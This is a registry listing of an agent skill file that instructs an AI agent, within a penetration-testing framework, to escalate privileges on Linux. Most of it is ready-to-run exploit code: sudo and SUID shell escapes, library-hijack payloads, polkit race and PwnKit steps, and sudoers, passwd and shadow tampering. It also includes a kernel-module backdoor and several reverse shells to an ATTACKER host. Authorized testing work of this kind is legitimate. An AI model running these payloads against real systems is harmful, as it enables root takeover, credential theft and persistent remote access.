blacklanternsecurity

linux-sudo-suid-capabilities

Exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation.

blacklanternsecurity 208 24 Updated 3mo ago
GitHub

Install

npx skillscat add blacklanternsecurity/red-run/linux-sudo-suid-capabilities

Install via the SkillsCat registry.

SKILL.md

Linux Sudo, SUID, and Capabilities Exploitation

You are helping a penetration tester exploit sudo misconfigurations, SUID/SGID binaries,
and Linux capabilities for privilege escalation. All testing is under explicit written
authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [linux-sudo-suid-capabilities] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with
    descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

Do NOT write to engagement/activity.md, engagement/findings.md, or
engagement state. The orchestrator maintains these files. Report all findings
in your return summary.

State Management

Call get_state_summary() from the state-reader MCP server to read current
engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Do NOT write engagement state. When your work is complete, report all
findings clearly in your return summary. The orchestrator parses your summary
and records state changes. Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • Shell access on Linux target
  • At least one of: sudo permissions, SUID binary, binary with capabilities
  • Knowledge of target OS version (for CVE matching)

Step 1: Assess Sudo Configuration

If not already provided by linux-discovery, enumerate:

sudo -l 2>/dev/null
sudo -V 2>/dev/null | head -1
cat /etc/doas.conf 2>/dev/null

Classify findings and proceed to the relevant subsection below.

Step 2: Sudo NOPASSWD Exploitation

GTFOBins Binaries

If sudo -l shows (root) NOPASSWD: /path/to/binary, check GTFOBins for the binary.

Common sudo escapes (highest priority):

# Editors
sudo vim -c ':!bash'
sudo vi -c ':!bash'
sudo nano  # Ctrl+R → Ctrl+X → command

# Pagers
sudo less /etc/hosts    # then type: !bash
sudo more /etc/hosts    # then type: !bash
sudo man man            # then type: !bash

# Interpreters
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash"'
sudo ruby -e 'exec "/bin/bash"'
sudo lua -e 'os.execute("/bin/bash")'
sudo php -r 'system("/bin/bash");'
sudo node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'

# File utilities
sudo find /tmp -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo sed -n '1e exec bash 1>&0' /etc/hosts
sudo ed  # then type: !bash

# Archive utilities
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x.zip /tmp/x -T -TT 'bash #'

# Network tools
sudo ftp  # then type: !bash
sudo nmap --interactive  # (old nmap) then type: !sh
sudo mysql -e '\! bash'
sudo socat stdin exec:/bin/bash

# System tools
sudo env /bin/bash
sudo strace -o /dev/null /bin/bash
sudo ltrace -o /dev/null /bin/bash
sudo gdb -nx -ex '!bash' -ex quit
sudo taskset 1 /bin/bash

# File read/write (for credential theft if no shell escape)
sudo cat /etc/shadow
sudo tee /etc/passwd <<< 'root2:$1$salt$hash:0:0::/root:/bin/bash'
sudo cp /etc/shadow /tmp/shadow_copy
sudo dd if=/etc/shadow of=/tmp/shadow_copy

Sudo with Password (NOPASSWD not set)

If user has sudo access but needs a password, check for:

  • Known password from engagement state
  • Password reuse from other services
  • Sudo token reuse (see sudo_inject below)

Sudo with Specific Arguments

If sudo allows specific arguments (e.g., sudo /usr/bin/vim /etc/config):

  • Editor escape still works: sudo vim /etc/config:!bash
  • For restricted commands, check if argument injection is possible

Step 3: Sudo Environment Variable Abuse

LD_PRELOAD Injection

Prerequisite: sudo -l shows env_keep += LD_PRELOAD or SETENV: tag.

// preload.c — compile on target or transfer
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}
# Compile and exploit
gcc -fPIC -shared -o /tmp/preload.so preload.c -nostartfiles
sudo LD_PRELOAD=/tmp/preload.so <any_allowed_binary>

LD_LIBRARY_PATH Injection

Prerequisite: sudo -l shows env_keep += LD_LIBRARY_PATH.

# Find shared libraries used by the sudo-allowed binary
ldd /path/to/allowed_binary

# Create malicious library with same name
gcc -fPIC -shared -o /tmp/libfoo.so preload.c -nostartfiles

# Execute with hijacked library path
sudo LD_LIBRARY_PATH=/tmp /path/to/allowed_binary

PYTHONPATH / PERL5LIB Injection

Prerequisite: sudo -l shows SETENV: and binary calls Python/Perl.

# Python library hijack
mkdir /tmp/pylib
cat > /tmp/pylib/os.py << 'EOF'
import subprocess
subprocess.call(["/bin/bash", "-p"])
EOF
sudo PYTHONPATH=/tmp/pylib /usr/bin/python_script.py

BASH_ENV Injection

Prerequisite: env_keep += BASH_ENV and command runs via bash.

echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /tmp/evil.sh
sudo BASH_ENV=/tmp/evil.sh /path/to/allowed_command
/tmp/rootbash -p

Step 4: Sudo CVE Exploitation

CVE-2021-3156 (Baron Samedit) — Heap Overflow

Affected: sudo 1.8.2 through 1.9.5p1 (patched in 1.9.5p2).

MANDATORY — Verify before exploiting. Distro backports frequently patch
sudo without changing the version string. Do NOT skip this step even if the
version appears vulnerable.

# Step 1: Check version
sudo -V | grep "Sudo version"

# Step 2: MANDATORY verification (does NOT exploit, just confirms)
sudoedit -s '\' $(python3 -c 'print("A"*65536)') 2>&1
# Vulnerable: segfault, memory corruption, "malloc(): corrupted..."
# Patched: "usage: sudoedit" error message
#
# If you see "usage:" → STOP. This build is patched. Do not waste time
# downloading or compiling exploits. Check CVE-2021-3560 (polkit) or
# other vectors instead.

If verification confirms vulnerability, proceed with exploitation. Public
exploits exist per distribution — match the target OS and use the correct
variant.

Exploit transfer — attackbox-first workflow: Targets often lack internet
access (CTF, air-gapped labs). Never git clone on target. Instead:

  1. Download/compile exploit on attackbox for target architecture
  2. Transfer via SSH (SCP, SFTP, paramiko) or base64 encode/decode
  3. Alternatively, write exploit source as a heredoc and compile on target
# Exploits (multiple variants by OS — download on ATTACKBOX first):
# https://github.com/blasty/CVE-2021-3156
# https://github.com/worawit/CVE-2021-3156

CVE-2019-14287 — User ID Bypass

Prerequisite: sudo -l shows (ALL, !root) /bin/bash or similar restriction
excluding root.

# The !root restriction can be bypassed with UID -1
sudo -u#-1 /bin/bash
sudo -u#4294967295 /bin/bash
# Both resolve to UID 0 (root)

Sudo Token Reuse (sudo_inject)

Prerequisite: ptrace_scope = 0, user has valid sudo session token.

# Check ptrace scope
cat /proc/sys/kernel/yama/ptrace_scope  # Must be 0

# Check for sudo token files
ls -la /run/sudo/ts/$(whoami) 2>/dev/null || ls -la /var/run/sudo/ts/$(whoami) 2>/dev/null

# If sudo token exists and ptrace allows:
# https://github.com/nongiach/sudo_inject
# Creates invalid token → next sudo -i requires no password

CVE-2021-3560 — Polkit D-Bus Authentication Bypass

Affected: polkit < 0.117 (common on CentOS 8, RHEL 8, Ubuntu 20.04).

Creates a privileged user account by exploiting a race condition in polkitd's
D-Bus message handling. When a D-Bus request is killed mid-flight (after polkitd
starts processing but before it replies), polkitd treats the absent reply as
"authorized."

Prerequisites:

# All four must be true:
rpm -q polkit 2>/dev/null || dpkg -l policykit-1 2>/dev/null  # polkit < 0.117
rpm -q accountsservice 2>/dev/null || dpkg -l accountsservice 2>/dev/null  # installed
which dbus-send 2>/dev/null  # available
ps aux | grep polkit  # polkitd running

Phase 1 — Create privileged user via D-Bus race condition:

NEW_USER="youruser"
NEW_FULLNAME="Your Name"

# Generate password hash for the new account
NEW_PASS='YourPassword123!'
HASH=$(openssl passwd -6 "$NEW_PASS" 2>/dev/null)

# Race loop: send CreateUser request and kill it mid-authorization
# int32:1 = administrator (wheel/sudo group)
for i in $(seq 1 100); do
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
        --print-reply /org/freedesktop/Accounts \
        org.freedesktop.Accounts.CreateUser \
        string:"$NEW_USER" string:"$NEW_FULLNAME" int32:1 &
    PID=$!
    # Timing is critical — 0.005s to 0.015s covers most systems
    # Start at 0.008s; adjust if needed
    sleep 0.008s
    kill $PID 2>/dev/null
    wait $PID 2>/dev/null

    if id "$NEW_USER" &>/dev/null; then
        echo "[+] User created on attempt $i"
        break
    fi
done

# Verify user was created with admin group
id "$NEW_USER"

Phase 2 — Set password via D-Bus race condition:

# Get the new user's D-Bus object path
USER_PATH=$(dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
    --print-reply /org/freedesktop/Accounts \
    org.freedesktop.Accounts.FindUserByName \
    string:"$NEW_USER" 2>/dev/null | grep "object path" | cut -d'"' -f2)

echo "[*] User D-Bus path: $USER_PATH"

# Same race condition to set password
for i in $(seq 1 100); do
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
        --print-reply "$USER_PATH" \
        org.freedesktop.Accounts.User.SetPassword \
        string:"$HASH" string:"" &
    PID=$!
    sleep 0.008s
    kill $PID 2>/dev/null
    wait $PID 2>/dev/null
done

Phase 3 — Verify and escalate:

# Switch to new user and verify sudo
su - "$NEW_USER" -c "echo '$NEW_PASS' | sudo -S id"
# Expected: uid=0(root) gid=0(root) groups=0(root)

# Get root shell
su - "$NEW_USER"
# Then: sudo -i (or echo password | sudo -S bash)

Timing calibration: The sleep value (0.008s) is timing-dependent. If the
exploit fails after 100 attempts:

  • Try 0.005s (faster systems, VMs with low latency)
  • Try 0.012s (slower systems, remote SSH)
  • Try 0.003s (very fast local systems)
  • Run multiple rounds with different timings

The race typically succeeds within 20-50 attempts on most systems. If user
creation works but password setting fails (or vice versa), adjust timing for
each phase independently.

Remote execution via SSH (paramiko/sshpass): When automating over SSH,
write the exploit as a bash script, transfer it via SFTP or heredoc, then
execute. The race condition timing works the same over SSH — the sleep and
kill happen on the target, not the attackbox.

Troubleshooting:

  • Error org.freedesktop.Accounts.Error.PermissionDenied on every attempt →
    polkitd may be patched or not running. Check systemctl status polkit.
  • User created but not in wheel/sudo group → the int32:1 flag sets
    administrator. Verify with id username. If not admin, the race lost on
    the group assignment — delete user and retry.
  • Password not set (su fails) → the SetPassword race is harder to win. Try
    more attempts (200+) or different timing. Verify the hash is correct:
    grep username /etc/shadow.
  • dbus-send not found → install dbus package or check /usr/bin/gdbus
    as alternative.

CVE-2021-4034 (PwnKit) — pkexec Argument Handling

Affected: polkit pkexec < 0.120 (present on most Linux distros before Jan 2022).

pkexec mishandles argc=0 invocations, allowing arbitrary code execution as root
through GCONV_PATH environment variable manipulation. Requires pkexec to have the
SUID bit set (default on virtually all installations).

Verification:

# Check pkexec is SUID
ls -la /usr/bin/pkexec
# Expected: -rwsr-xr-x root root

# Check polkit version
dpkg -l policykit-1 2>/dev/null || rpm -q polkit 2>/dev/null
# Vulnerable: < 0.120 (Debian/Ubuntu), < 0.120 (RHEL/CentOS)

Exploitation:

PwnKit requires staging files in a directory where the SUID process can
execute shared libraries. /tmp is often mounted noexec on hardened systems.

# Step 1: Find an exec-capable staging directory
# Try these in order — first writable+exec wins:
for d in /dev/shm /var/tmp /run/lock "$HOME" /opt; do
    mount | grep -q "$(df "$d" 2>/dev/null | tail -1 | awk '{print $1}').*noexec" && continue
    [ -w "$d" ] && echo "[+] $d is writable and exec-capable" && break
done

# Step 2: Stage exploit in the chosen directory
cd /dev/shm  # or whichever directory passed
mkdir -p pwnkit_work && cd pwnkit_work

Exploit transfer — attackbox-first workflow:

Public PwnKit exploits:

# On ATTACKBOX: download and compile static binary
git clone https://github.com/ly4k/PwnKit /tmp/pwnkit
cd /tmp/pwnkit && make
# Or compile static: gcc -static -o pwnkit PwnKit.c

# Transfer to target
python3 -m http.server 8080 &
# On TARGET:
wget http://ATTACKBOX:8080/pwnkit -O /dev/shm/pwnkit_work/pwnkit
chmod +x /dev/shm/pwnkit_work/pwnkit
# Step 3: Execute
cd /dev/shm/pwnkit_work
./pwnkit
# Expected: root shell
id
# uid=0(root) gid=0(root)

If /tmp is noexec: This is the most common PwnKit failure. The GCONV_PATH
trick requires the exploit's shared library to be dlopen'd by pkexec (a SUID
process). SUID processes ignore LD_PRELOAD, so the .so MUST be on an
exec-capable filesystem. Use /dev/shm, /var/tmp, or a home directory instead.
Never attempt LD_PRELOAD workarounds — they do not work with SUID binaries and
risk destabilizing the target.

If no exec-capable writable directory exists: PwnKit is blocked. Return to
orchestrator with assessment: blocked — no exec-capable staging directory for GCONV_PATH .so. The orchestrator may route to linux-kernel-exploits for
DirtyCow/DirtyPipe or other vectors that don't require shared library loading.

Step 5: SUID Binary Exploitation

Enumeration

find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null   # SGID

GTFOBins SUID Exploitation

Same escapes as sudo but binary runs as owner (usually root). Key difference:
bash drops privileges unless -p flag is used.

# If /usr/bin/python3 has SUID bit
/usr/bin/python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'

# If /usr/bin/find has SUID bit
/usr/bin/find . -exec /bin/bash -p \;

# If /usr/bin/vim has SUID bit
/usr/bin/vim -c ':py3 import os; os.execl("/bin/bash", "bash", "-p")'

# If /usr/bin/bash has SUID bit
/usr/bin/bash -p

# If /usr/bin/cp has SUID bit — overwrite /etc/passwd
# Generate password hash: openssl passwd -1 -salt xyz password123
# Add line: root2:$1$xyz$hashhere:0:0:root:/root:/bin/bash
/usr/bin/cp /tmp/modified_passwd /etc/passwd

Custom SUID Binary Analysis

For non-standard SUID binaries not in GTFOBins:

# Analyze the binary
strings /path/to/suid_binary | grep -iE "system|exec|popen|/bin|/tmp"
strace /path/to/suid_binary 2>&1 | grep -E "exec|open|access"
ltrace /path/to/suid_binary 2>&1 | grep -E "system|exec|popen"

Exploitation patterns:

  1. Calls system() with relative path → PATH hijack:
# If binary calls system("service apache2 restart")
echo '#!/bin/bash' > /tmp/service
echo '/bin/bash -p' >> /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/path/to/suid_binary
  1. Loads shared object from writable path → .so injection:
# Check for missing libraries
ldd /path/to/suid_binary | grep "not found"
# Or check RPATH/RUNPATH
readelf -d /path/to/suid_binary | grep -E "RPATH|RUNPATH"
// exploit.c — shared object with constructor
#include <stdlib.h>
void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
gcc -fPIC -shared -o /path/to/missing_lib.so exploit.c
/path/to/suid_binary  # triggers library load → root shell
  1. Reads/writes files as root → read /etc/shadow or write /etc/passwd

SGID Exploitation

# SGID binary runs with group of file owner
# If SGID binary belongs to 'shadow' group → read /etc/shadow
# If SGID binary belongs to 'docker' group → Docker socket access

# Impersonate group via Python SGID binary
python3 -c 'import os; os.setgid(42); os.system("/bin/bash")'  # 42 = shadow

Step 6: Linux Capabilities Exploitation

CAP_SETUID — Direct Root

# Any binary with cap_setuid+ep → immediate root
# Python
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash"'

# Node.js
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'

# Ruby
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'

# PHP
php -r 'posix_setuid(0); system("/bin/bash");'

# Custom C binary
# If gcc and cap_setuid binary available:
# Compile: int main(){setuid(0);setgid(0);system("/bin/bash -p");}

CAP_SETGID — Group Escalation

# Impersonate shadow group to read /etc/shadow
python3 -c 'import os; os.setgid(42); os.system("cat /etc/shadow")'

# Impersonate root group
python3 -c 'import os; os.setgid(0); os.system("/bin/bash")'

CAP_DAC_OVERRIDE — Bypass Write Permissions

Binary can write to any file regardless of permissions.

# Append to /etc/sudoers
python3 -c '
f = open("/etc/sudoers", "a")
f.write("\nUSERNAME ALL=(ALL) NOPASSWD:ALL\n")
f.close()
'
# Overwrite /etc/passwd with root user
python3 -c '
import crypt
password = crypt.crypt("password123", "$6$salt")
line = f"root2:{password}:0:0:root:/root:/bin/bash\n"
with open("/etc/passwd", "a") as f:
    f.write(line)
'

CAP_DAC_READ_SEARCH — Read Any File

# Read /etc/shadow directly
python3 -c 'print(open("/etc/shadow").read())'

# Read SSH private keys
python3 -c 'print(open("/root/.ssh/id_rsa").read())'

# Tar-based extraction (if tar has the capability)
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/

Container escape (shocker exploit): Binary with cap_dac_read_search can use
open_by_handle_at() to access host filesystem from within a container. Use the
shocker exploit C code.

CAP_SYS_ADMIN — Mount and Namespace Abuse

# Mount host disk (container escape)
fdisk -l  # Find host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
# Mount overlay to replace /etc/passwd
python3 -c '
from ctypes import CDLL
libc = CDLL("libc.so.6")
libc.mount.argtypes = [c_char_p, c_char_p, c_char_p, c_ulong, c_char_p]
libc.mount(b"/tmp/fake_passwd", b"/etc/passwd", b"none", 4096, b"rw")  # MS_BIND=4096
'

CAP_SYS_PTRACE — Process Injection

# GDB injection into root process
gdb -p <root_pid>
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'")
(gdb) detach
(gdb) quit
# Python ptrace injection (shellcode into root process)
import ctypes, os, struct, signal

PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_CONT = 7

libc = ctypes.CDLL("libc.so.6")

# Find a root-owned process
pid = <target_root_pid>

# Attach, inject shellcode, set RIP, continue
libc.ptrace(PTRACE_ATTACH, pid, None, None)
os.waitpid(pid, 0)
# ... inject reverse shell shellcode at RIP ...
libc.ptrace(PTRACE_DETACH, pid, None, None)

CAP_SYS_MODULE — Kernel Module Loading

// reverse_shell.c — kernel module
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");

char *argv[] = {"/bin/bash", "-c",
    "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1", NULL};
static char *envp[] = {"HOME=/root", "PATH=/usr/bin:/bin", NULL};

static int __init shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit shell_exit(void) {}
module_init(shell_init);
module_exit(shell_exit);
# Makefile
obj-m += reverse_shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
make
insmod reverse_shell.ko

CAP_CHOWN / CAP_FOWNER — Ownership and Permission Changes

# CAP_CHOWN: take ownership of /etc/shadow
python3 -c 'import os; os.chown("/etc/shadow", 1000, 1000)'
cat /etc/shadow  # Now readable

# CAP_FOWNER: make /etc/shadow world-readable
python3 -c 'import os; os.chmod("/etc/shadow", 0o666)'
cat /etc/shadow

CAP_SETFCAP — Capability Chaining

Binary can set capabilities on other binaries. Chain to cap_setuid:

# Set cap_setuid on python3
python3 -c '
import ctypes
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p, ctypes.c_void_p]
cap = libcap.cap_from_text(b"cap_setuid+ep")
libcap.cap_set_file(b"/usr/bin/python3", cap)
'

# Then exploit cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

CAP_NET_RAW — Packet Sniffing

Not directly exploitable for privilege escalation but enables credential sniffing:

# Sniff for credentials on the network
tcpdump -i any -A -s0 'port 80 or port 21 or port 25' 2>/dev/null | grep -iE "user|pass|login"

Step 7: Escalate or Pivot

Reverse Shell via MCP

When a sudo/SUID/capability exploit produces a root shell, catch it via the
MCP shell-server
rather than relying on the shell spawning in the current
terminal. Many GTFOBins escalations and capability abuses spawn an interactive
root shell that the agent cannot directly interact with.

  1. Call start_listener(port=4444) to prepare a catcher on the attackbox
  2. Modify the exploit to send a reverse shell instead of spawning locally:
    # Instead of: sudo vim -c ':!bash'
    # Use:
    sudo vim -c ':!bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'
    # Or for SUID/capability exploits:
    python3 -c 'import os; os.setuid(0); os.system("bash -i >& /dev/tcp/ATTACKER/PORT 0>&1")'
  3. Call stabilize_shell(session_id=...) to upgrade to interactive PTY
  4. Verify the new privilege level with send_command(session_id=..., command="id")

If the target lacks outbound connectivity, use the SUID bash approach
(cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash) and access it
through an existing shell session.

After obtaining root:

  • Credentials found (sudo password, /etc/shadow hashes): Route to hash cracking
    or use credentials for lateral movement
  • Root shell obtained: Route to linux-file-path-abuse for persistence or
    linux-kernel-exploits if further escalation needed (container escape)
  • Need AD credentials: Check for cached Kerberos tickets (klist,
    /tmp/krb5cc_*), SSSD cache, or domain-joined machine secrets → route to
    credential-dumping or AD skills
  • Pivot needed: Enumerate internal network from elevated context, use new
    access for lateral movement

When routing, pass along: hostname, escalation method used, current access level,
credentials obtained.

Stall Detection

If you have spent 5 or more tool-calling rounds on the same failure with
no meaningful progress — same error, no new information, no change in output
stop.

What counts as progress:

  • Trying a variant or alternative documented in this skill
  • Adjusting syntax, flags, or parameters per the Troubleshooting section
  • Gaining new diagnostic information (different error, partial success)

What does NOT count as progress:

  • Writing custom exploit code not provided in this skill
  • Inventing workarounds using techniques from other domains
  • Retrying the same command with trivially different input
  • Compiling or transferring tools not mentioned in this skill

If you find yourself writing code that isn't in this skill, you have left
methodology. That is a stall.

Do not loop. Work through failures systematically:

  1. Try each variant or alternative once
  2. Check the Troubleshooting section for known fixes
  3. If nothing works after 5 rounds, you are stalled

When stalled, return to the orchestrator immediately with:

  • What was attempted (commands, variants, alternatives tried)
  • What failed and why (error messages, empty responses, timeouts)
  • Assessment: blocked (permanent — config, patched, missing prereq) or
    retry-later (may work with different context, creds, or access)

When stalled: Tell the user you're stalled, present what was tried, and
recommend the next best path. Return findings to the orchestrator — it will
decide whether to revisit with new context or route elsewhere.

Troubleshooting

SUID binary drops privileges (bash without -p)

Bash resets EUID to RUID when they differ. Always use bash -p or call
setuid(0) before exec. For system() calls: the child shell also drops
privileges — use execve() instead or system("/bin/bash -p").

LD_PRELOAD doesn't work with sudo

Check: (1) env_keep includes LD_PRELOAD in sudo config, (2) binary is not
statically linked (file /path/to/binary), (3) binary is not running in secure
mode (SUID binaries ignore LD_PRELOAD by default — only works via sudo).

getcap returns nothing

Some systems strip capabilities. Check if getcap is available and has read
access to binary directories. Try cat /proc/<pid>/status | grep Cap for
running processes.

Kernel rejects module loading

CAP_SYS_MODULE may be restricted by Secure Boot or module signing. Check
cat /proc/sys/kernel/modules_disabled — if 1, module loading is disabled
system-wide. No bypass without kernel exploit.

SUID binary is statically linked

Cannot use shared object injection or LD_PRELOAD. Focus on argument injection,
environment variable abuse, or functionality-based exploitation (GTFOBins patterns).

PwnKit fails with GCONV errors

The staging directory is likely mounted noexec. Move all PwnKit files to an
exec-capable directory (/dev/shm, /var/tmp, home directory). Check with:
mount | grep "$(df /path 2>/dev/null | tail -1 | awk '{print $1}')" — if
the output includes "noexec", that directory won't work. If no exec-capable
directory is writable, PwnKit is blocked — return to orchestrator.